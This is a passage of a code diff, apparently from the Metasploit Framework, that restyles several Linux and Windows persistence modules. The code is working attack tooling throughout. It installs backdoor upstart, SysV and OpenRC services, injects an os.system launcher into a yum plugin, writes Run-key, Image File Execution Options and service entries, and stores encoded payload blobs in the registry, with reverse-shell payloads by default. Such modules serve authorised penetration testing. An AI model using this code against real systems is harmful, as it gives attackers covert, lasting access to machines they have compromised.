backdoor_file) def upstart(backdoor_path, backdoor_file, runlevel) # http://blog.terminal.com/getting-started-with-upstart/ - script = %{description \"Start daemon at boot time\" + script = %(description \"Start daemon at boot time\" start on filesystem or runlevel [#{runlevel}] stop on shutdown script @@ -271,9 +285,9 @@ def upstart(backdoor_path, backdoor_file, runlevel) end script post-stop exec sleep 10 respawn -respawn limit unlimited} +respawn limit unlimited) - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) service_name = "/etc/init/#{service_filename}.conf" vprint_status("Writing service: #{service_name}") write_file(service_name, script) @@ -384,7 +398,7 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) esac exit 0} - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) service_name = "/etc/init.d/#{service_filename}" vprint_status("Writing service: #{service_name}") write_file(service_name, script) @@ -413,15 +427,15 @@ def openrc(backdoor_path, backdoor_file) # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts # https://wiki.alpinelinux.org/wiki/OpenRC # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md - script = %{#!/sbin/openrc-run + script = %(#!/sbin/openrc-run name=#{backdoor_file} command=/bin/sh command_args="#{backdoor_path}/#{backdoor_file}" pidfile="/run/${RC_SVCNAME}.pid" command_background="yes" -} +) - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) service_name = "/etc/init.d/#{service_filename}" vprint_status("Writing service: #{service_name}") begin diff --git a/modules/persistence/linux/yum_package_manager_persistence.rb b/modules/persistence/linux/yum_package_manager_persistence.rb index c5d567b9c373..eb7aba883167 100644 --- a/modules/persistence/linux/yum_package_manager_persistence.rb +++ b/modules/persistence/linux/yum_package_manager_persistence.rb @@ -11,20 +11,21 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::System def initialize(info = {}) - super(update_info(info, - 'Name' => 'Yum Package Manager Persistence', - 'Description' => %q( - This module will run a payload when the package manager is used. No - handler is ran automatically so you must configure an appropriate - exploit/multi/handler to connect. Module modifies a yum plugin to - launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ - will show what plugins are currently enabled on the system. - ), - 'License' => MSF_LICENSE, - 'Author' => ['Aaron Ringo'], - 'Platform' => ['linux', 'unix'], - 'Arch' => - [ + super( + update_info( + info, + 'Name' => 'Yum Package Manager Persistence', + 'Description' => %q{ + This module will run a payload when the package manager is used. No + handler is ran automatically so you must configure an appropriate + exploit/multi/handler to connect. Module modifies a yum plugin to + launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ + will show what plugins are currently enabled on the system. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Aaron Ringo'], + 'Platform' => ['linux', 'unix'], + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, @@ -34,29 +35,32 @@ def initialize(info = {}) ARCH_MIPSLE, ARCH_MIPSBE ], - 'SessionTypes' => ['shell', 'meterpreter'], - 'DefaultOptions' => { - 'WfsDelay' => 0, 'DisablePayloadHandler' => true, - 'Payload' => 'cmd/unix/reverse_python' - }, - 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum - 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], - 'Targets' => [['Automatic', {}]], - 'DefaultTarget' => 0 - )) + 'SessionTypes' => ['shell', 'meterpreter'], + 'DefaultOptions' => { + 'WfsDelay' => 0, 'DisablePayloadHandler' => true, + 'Payload' => 'cmd/unix/reverse_python' + }, + 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum + 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0 + ) + ) register_options( [ # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) - ]) + ] + ) register_advanced_options( [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']), OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/']) - ]) + ] + ) end def exploit @@ -105,7 +109,7 @@ def exploit # check for sed binary and then append launcher to plugin underneath print_status('Attempting to modify plugin') launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')" - sed_path = cmd_exec "command -v sed" + sed_path = cmd_exec 'command -v sed' unless sed_path.include?('sed') fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found' end @@ -123,7 +127,7 @@ def exploit end # change perms to reflect bins in /usr/local/bin/, give good feels - chmod(backdoor_path, 0755) + chmod(backdoor_path, 0o755) print_status("Backdoor uploaded to #{backdoor_path}") print_status('Backdoor will run on next Yum update') end diff --git a/modules/persistence/unix/at_persistence.rb b/modules/persistence/unix/at_persistence.rb index cd84b461ef67..d54a0e8e7403 100644 --- a/modules/persistence/unix/at_persistence.rb +++ b/modules/persistence/unix/at_persistence.rb @@ -57,7 +57,7 @@ def exploit fail_with(Failure::NoAccess, 'User denied cron via at.deny') end - unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp'))) + unless (payload_file = datastore['PATH'] || cmd_exec('mktemp')) fail_with(Failure::BadConfig, 'Unable to find suitable location for payload') end diff --git a/modules/persistence/windows/persistence.rb b/modules/persistence/windows/persistence.rb index 0b434f6edf01..070303fa8536 100644 --- a/modules/persistence/windows/persistence.rb +++ b/modules/persistence/windows/persistence.rb @@ -73,23 +73,23 @@ def initialize(info = {}) # Exploit method for when exploit command is issued def exploit # Define default values - rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) - rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) - reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) startup = datastore['STARTUP'].downcase delay = datastore['DELAY'] exec_after = datastore['EXEC_AFTER'] handler = datastore['HANDLER'] - @clean_up_rc = "" + @clean_up_rc = '' - rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4, 4] != '.vbs' - rexe_name = rexe_name + '.exe' if rexe_name[-4, 4] != '.exe' + rvbs_name += '.vbs' if rvbs_name[-4, 4] != '.vbs' + rexe_name += '.exe' if rexe_name[-4, 4] != '.exe' # Connect to the session begin host = session.session_host print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue => e + rescue StandardError => e print_error("Could not connect to session: #{e}") return nil end @@ -101,8 +101,8 @@ def exploit if handler && !datastore['DisablePayloadHandler'] # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards! - print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...") - print_warning("Disabling HANDLER...") + print_warning('Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...') + print_warning('Disabling HANDLER...') handler = false end @@ -111,9 +111,9 @@ def exploit exe = generate_payload_exe # Generate the vbs payload vprint_status("Generating VBS persistent script (#{rvbs_name})") - vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, { :persist => true, :delay => delay, :exe_filename => rexe_name }) + vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, { persist: true, delay: delay, exe_filename: rexe_name }) # Writing the payload to target - vprint_status("Writing payload inside the VBS script on the target") + vprint_status('Writing payload inside the VBS script on the target') script_on_target = write_script_to_target(vbsscript, rvbs_name) # Exit the module because we failed to write the file on the target host # Feedback has already been given to the user, via the function. @@ -123,14 +123,14 @@ def exploit case startup when 'user' # If we could not write the entry in the registy we exit the module. - return unless write_to_reg("HKCU", script_on_target, reg_val) + return unless write_to_reg('HKCU', script_on_target, reg_val) vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") when 'system' # If we could not write the entry in the registy we exit the module. - return unless write_to_reg("HKLM", script_on_target, reg_val) + return unless write_to_reg('HKLM', script_on_target, reg_val) - vprint_status("Payload will execute at the next SYSTEM startup") + vprint_status('Payload will execute at the next SYSTEM startup') else print_error("Something went wrong. Invalid STARTUP method: #{startup}") return nil @@ -148,30 +148,30 @@ def exploit target_exec(script_on_target) if exec_after # Create 'clean up' resource file - clean_rc = log_file() + clean_rc = log_file file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") - report_note(:host => host, - :type => "host.persistance.cleanup", - :data => { - :local_id => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :commands => @clean_up_rc + report_note(host: host, + type: 'host.persistance.cleanup', + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc }) end # Writes script to target host and returns the pathname of the target file or nil if the # file could not be written. def write_script_to_target(vbs, name) - filename = name || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".vbs" + filename = name || Rex::Text.rand_text_alpha(rand(6..13)) + '.vbs' temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') - filepath = temppath + "\\" + filename + filepath = temppath + '\\' + filename unless directory?(temppath) print_error("#{temppath} does not exist on the target") @@ -183,8 +183,8 @@ def write_script_to_target(vbs, name) begin file_rm(filepath) print_good("Deleted #{filepath}") - rescue - print_error("Unable to delete file!") + rescue StandardError + print_error('Unable to delete file!') return nil end end @@ -195,8 +195,8 @@ def write_script_to_target(vbs, name) # Escape windows pathname separators. @clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n" - rescue - print_error("Could not write the payload on the target") + rescue StandardError + print_error('Could not write the payload on the target') # Return nil since we could not write the file on the target filepath = nil end @@ -207,15 +207,15 @@ def write_script_to_target(vbs, name) # Installs payload in to the registry HKLM or HKCU def write_to_reg(key, script_on_target, registry_value) regsuccess = true - nam = registry_value || Rex::Text.rand_text_alpha(rand(8) + 8) - key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + nam = registry_value || Rex::Text.rand_text_alpha(rand(8..15)) + key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" print_status("Installing as #{key_path}\\#{nam}") - if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") + if key && registry_setvaldata(key_path, nam, script_on_target, 'REG_SZ') print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}") else - print_error("Failed to make entry in the registry for persistence") + print_error('Failed to make entry in the registry for persistence') regsuccess = false end @@ -231,13 +231,13 @@ def target_exec(script_on_target) # Error handling for process.execute() can throw a RequestError in send_request. begin - unless datastore['EXE::Custom'] - cmd_exec("wscript \"#{script_on_target}\"") - else + if datastore['EXE::Custom'] cmd_exec("cscript \"#{script_on_target}\"") + else + cmd_exec("wscript \"#{script_on_target}\"") end - rescue - print_error("Failed to execute payload on target") + rescue StandardError + print_error('Failed to execute payload on target') execsuccess = false end @@ -251,7 +251,10 @@ def create_multihandler(lhost, lport, payload_name) pay.datastore['LPORT'] = lport print_status('Starting exploit/multi/handler') - unless check_for_listener(lhost, lport) + if check_for_listener(lhost, lport) + print_error('A job is listening on the same local port') + return nil + else # Set options for module mh = client.framework.exploits.create('multi/handler') mh.share_datastore(pay.datastore) @@ -264,8 +267,8 @@ def create_multihandler(lhost, lport, payload_name) # Execute showing output mh.exploit_simple( 'Payload' => mh.datastore['PAYLOAD'], - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, + 'LocalInput' => user_input, + 'LocalOutput' => user_output, 'RunAsJob' => true ) @@ -279,24 +282,21 @@ def create_multihandler(lhost, lport, payload_name) return nil if framework.jobs[mh.job_id.to_s].nil? return mh.job_id.to_s - else - print_error('A job is listening on the same local port') - return nil end end # Method for checking if a listener for a given IP and port is present # will return true if a conflict exists and false if none is found def check_for_listener(lhost, lport) - client.framework.jobs.each do |k, j| - if j.name =~ / multi\/handler/ - current_id = j.jid - current_lhost = j.ctx[0].datastore['LHOST'] - current_lport = j.ctx[0].datastore['LPORT'] - if lhost == current_lhost && lport == current_lport.to_i - print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") - return true - end + client.framework.jobs.each do |_k, j| + next unless j.name =~ %r{ multi/handler} + + current_id = j.jid + current_lhost = j.ctx[0].datastore['LHOST'] + current_lport = j.ctx[0].datastore['LPORT'] + if lhost == current_lhost && lport == current_lport.to_i + print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") + return true end end false @@ -305,10 +305,10 @@ def check_for_listener(lhost, lport) # Function for creating log folder and returning log path def log_file(log_path = nil) # Get hostname - host = session.sys.config.sysinfo["Computer"] + host = session.sys.config.sysinfo['Computer'] # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create a directory for the logs if log_path @@ -323,7 +323,7 @@ def log_file(log_path = nil) ::FileUtils.mkdir_p(logs) # logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' logfile end end diff --git a/modules/persistence/windows/persistence_image_exec_options.rb b/modules/persistence/windows/persistence_image_exec_options.rb index 4fbdf69838b0..d9d49993cedd 100644 --- a/modules/persistence/windows/persistence_image_exec_options.rb +++ b/modules/persistence/windows/persistence_image_exec_options.rb @@ -66,7 +66,7 @@ def upload_payload(dest_pathname) def validate_active_host unless is_system? - fail_with(Failure::NoAccess, "You must be System to run this Module") + fail_with(Failure::NoAccess, 'You must be System to run this Module') end begin @@ -80,18 +80,18 @@ def validate_active_host def write_reg_keys(image_file, payload_pathname) reg_keys = [] reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}", - value_name: "GlobalFlag", - type: "REG_DWORD", + value_name: 'GlobalFlag', + type: 'REG_DWORD', value_value: 512) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}", - value_name: "ReportingMode", - type: "REG_DWORD", + value_name: 'ReportingMode', + type: 'REG_DWORD', value_value: 1) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}", - value_name: "MonitorProcess", - type: "REG_SZ", + value_name: 'MonitorProcess', + type: 'REG_SZ', value_value: payload_pathname) - silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit" + silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit' registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key) reg_keys.each do |key| registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name]) @@ -106,10 +106,10 @@ def write_reg_keys(image_file, payload_pathname) def exploit validate_active_host - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') image_file = datastore['IMAGE_FILE'] - payload_pathname = temp_path + "\\" + payload_name + '.exe' + payload_pathname = temp_path + '\\' + payload_name + '.exe' vprint_status("Payload pathname = #{payload_pathname}") upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname) end diff --git a/modules/persistence/windows/persistence_service.rb b/modules/persistence/windows/persistence_service.rb index 97fb15b3969d..5ac241e67f6e 100644 --- a/modules/persistence/windows/persistence_service.rb +++ b/modules/persistence/windows/persistence_service.rb @@ -62,12 +62,12 @@ def initialize(info = {}) #------------------------------------------------------------------------------- def exploit unless is_system? || is_admin? - print_error("Insufficient privileges to create service") + print_error('Insufficient privileges to create service') return end - unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse# - print_error("Only support for windows meterpreter/shell reverse staged payload") + unless datastore['PAYLOAD'] =~ %r{^windows/(shell|meterpreter)/reverse} + print_error('Only support for windows meterpreter/shell reverse staged payload') return end @@ -82,11 +82,11 @@ def exploit # Add the windows pe suffix to rexename unless rexename.end_with?('.exe') - rexename << ".exe" + rexename << '.exe' end host, _port = session.tunnel_peer.split(':') - @clean_up_rc = "" + @clean_up_rc = '' buf = create_payload vprint_status(buf) @@ -101,7 +101,7 @@ def exploit print_status("Cleanup Meterpreter RC File: #{clean_rc}") report_note(host: host, - type: "host.persistance.cleanup", + type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, @@ -126,30 +126,30 @@ def write_exe_to_target(rexe, rexename, rexepath) # check if we have write permission if rexepath begin - temprexe = rexepath + "\\" + rexename + temprexe = rexepath + '\\' + rexename write_file_to_target(temprexe, rexe) rescue Rex::Post::Meterpreter::RequestError print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%") - temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename + temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename write_file_to_target(temprexe, rexe) end # Write to %temp% directory if not set REMOTE_EXE_PATH else - temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename + temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename write_file_to_target(temprexe, rexe) end print_good("Meterpreter service exe written to #{temprexe}") @clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended. - @clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n" + @clean_up_rc << "rm \"#{temprexe.gsub('\\', '\\\\\\\\')}\"\n" temprexe end def write_file_to_target(temprexe, rexe) - fd = session.fs.file.new(temprexe, "wb") + fd = session.fs.file.new(temprexe, 'wb') fd.write(rexe) fd.close end @@ -158,10 +158,10 @@ def write_file_to_target(temprexe, rexe) #------------------------------------------------------------------------------- def log_file # Get hostname - host = session.sys.config.sysinfo["Computer"] + host = session.sys.config.sysinfo['Computer'] # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create a directory for the logs logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) @@ -169,7 +169,7 @@ def log_file # Create the log directory ::FileUtils.mkdir_p(logs) - logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' end # Function to install payload as a service @@ -180,7 +180,7 @@ def install_service(path) begin session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, { 'Hidden' => true }) rescue ::Exception => e - print_error("Failed to install the service.") + print_error('Failed to install the service.') print_error(e.to_s) end diff --git a/modules/persistence/windows/ps_persist.rb b/modules/persistence/windows/ps_persist.rb index ceb48c003a4d..9053de002e14 100644 --- a/modules/persistence/windows/ps_persist.rb +++ b/modules/persistence/windows/ps_persist.rb @@ -15,7 +15,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => "Powershell Payload Execution", + 'Name' => 'Powershell Payload Execution', 'Description' => %q{ This module generates a dynamic executable on the session host using .NET templates. Code is pulled from C# templates and impregnated with a payload before being @@ -35,8 +35,8 @@ def initialize(info = {}) 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { - 'BufferRegister' => 'EAX', - }, + 'BufferRegister' => 'EAX' + } }, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], @@ -83,23 +83,23 @@ def initialize(info = {}) def exploit # Make sure we meet the requirements before running the script - if !(session.type == "meterpreter" || have_powershell?) - print_error("Incompatible Environment") + if !(session.type == 'meterpreter' || have_powershell?) + print_error('Incompatible Environment') return end # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either if client.sys.config.is_system? - print_error("Cannot run as system") + print_error('Cannot run as system') return end # End of file marker - eof = Rex::Text.rand_text_alpha(8) - env_suffix = Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_alpha(8) com_opts = {} com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session - com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe" + com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{Rex::Text.rand_text_alpha(rand(8..15))}.exe" com_opts[:payload] = payload_script # payload.encoded vprint_good com_opts[:payload].length.to_s @@ -130,7 +130,7 @@ def exploit begin size = session.fs.file.stat(com_opts[:target].gsub('\\', '\\\\')).size vprint_good("File #{com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb") - rescue + rescue StandardError print_error("File #{com_opts[:target].gsub('\\', '\\\\')} not found") return end @@ -138,9 +138,9 @@ def exploit # Run the harness if datastore['START_APP'] if datastore['SVC_GEN'] - service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\', '\\\\'), startup = 2, server = nil) + service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\', '\\\\'), 2, nil) if service_start(datastore['SVC_NAME']).to_i == 0 - vprint_good("Service Started") + vprint_good('Service Started') end else session.sys.process.execute(com_opts[:target].gsub('\\', '\\\\'), nil, { 'Hidden' => true, 'Channelized' => true }) @@ -154,17 +154,17 @@ def exploit def payload_script pay_mod = framework.payloads.create(datastore['PAYLOAD']) payload = pay_mod.generate_simple( - "BadChars" => '', - "Format" => 'raw', - "Encoder" => 'x86/alpha_mixed', - "ForceEncode" => true, - "Options" => + 'BadChars' => '', + 'Format' => 'raw', + 'Encoder' => 'x86/alpha_mixed', + 'ForceEncode' => true, + 'Options' => { 'LHOST' => datastore['LHOST'], 'LPORT' => datastore['LPORT'], 'EXITFUNC' => 'thread', 'BufferRegister' => 'EAX' - }, + } ) # To ensure compatibility out payload should be US-ASCII @@ -184,7 +184,7 @@ def remove_dyn_service(file_path) end def install_dyn_service(file_path) - service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\', '\\\\'), startup = 2, server = nil) + service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\', '\\\\'), 2, nil) if service_start(datastore['SVC_NAME']).to_i == 0 vprint_good("Service Binary #{file_path} Started") end diff --git a/modules/persistence/windows/registry_persistence.rb b/modules/persistence/windows/registry_persistence.rb index 5702daece204..216c7e7b8f9f 100644 --- a/modules/persistence/windows/registry_persistence.rb +++ b/modules/persistence/windows/registry_persistence.rb @@ -11,55 +11,55 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows Registry Only Persistence', - 'Description' => %q{ - This module will install a payload that is executed during boot. - It will be executed either at user logon or system startup via the registry - value in "CurrentVersion\Run" (depending on privilege and selected method). - The payload will be installed completely in registry. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Windows Registry Only Persistence', + 'Description' => %q{ + This module will install a payload that is executed during boot. + It will be executed either at user logon or system startup via the registry + value in "CurrentVersion\Run" (depending on privilege and selected method). + The payload will be installed completely in registry. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Donny Maasland ', ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ], - 'Targets' => - [ - [ 'Automatic', { } ] + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => [ + [ 'Automatic', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2015-07-01', - 'DefaultOptions' => - { + 'DefaultTarget' => 0, + 'DisclosureDate' => '2015-07-01', + 'DefaultOptions' => { 'DisablePayloadHandler' => true } - )) + ) + ) register_options([ OptEnum.new('STARTUP', - [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]), OptString.new('BLOB_REG_KEY', - [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), + [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', - [false, 'The name to use for storing the payload blob. (Default: random)' ]), + [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', - [false, 'The name to use for the \'Run\' key. (Default: random)' ]), + [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', - [false, 'Create a resource file for cleanup', true]), + [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', - [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), + [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), ]) end def generate_payload_blob opts = { wrap_double_quotes: true, - encode_final_payload: true, + encode_final_payload: true } - blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] + blob = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1] return blob end @@ -82,16 +82,16 @@ def generate_cmd_reg def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false - if not registry_enumkeys(blob_reg_key) + if !registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) - fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") + fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end - unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") - fail_with(Failure::Unknown,'Failed to open the registry key for writing') + unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ') + fail_with(Failure::Unknown, 'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key @@ -99,7 +99,7 @@ def install_blob(root_path, blob, blob_reg_key, blob_reg_name) def install_cmd(cmd, cmd_reg, root_path) unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') - fail_with(Failure::Unknown,'Could not install run key') + fail_with(Failure::Unknown, 'Could not install run key') end print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") end @@ -118,15 +118,15 @@ def log_file(log_path = nil) # Thanks Meatballs for this host = session.session_host # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) + Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) + Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory @@ -138,8 +138,8 @@ def log_file(log_path = nil) # Thanks Meatballs for this end def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this - clean_rc = log_file() - @clean_up_rc = "" + clean_rc = log_file + @clean_up_rc = '' @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" @@ -148,30 +148,30 @@ def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # T file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") - report_note(:host => session.session_host, - type: 'host.persistance.cleanup', - data: { - local_id: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - commands: @clean_up_rc - } - ) + report_note(host: session.session_host, + type: 'host.persistance.cleanup', + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc + }) end def check - unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') return Msf::Exploit::CheckCode::Safe end + return Msf::Exploit::CheckCode::Vulnerable end def exploit - unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end @@ -197,4 +197,3 @@ def exploit end end end - diff --git a/modules/persistence/windows/s4u_persistence.rb b/modules/persistence/windows/s4u_persistence.rb index 98a397467408..a369473c0854 100644 --- 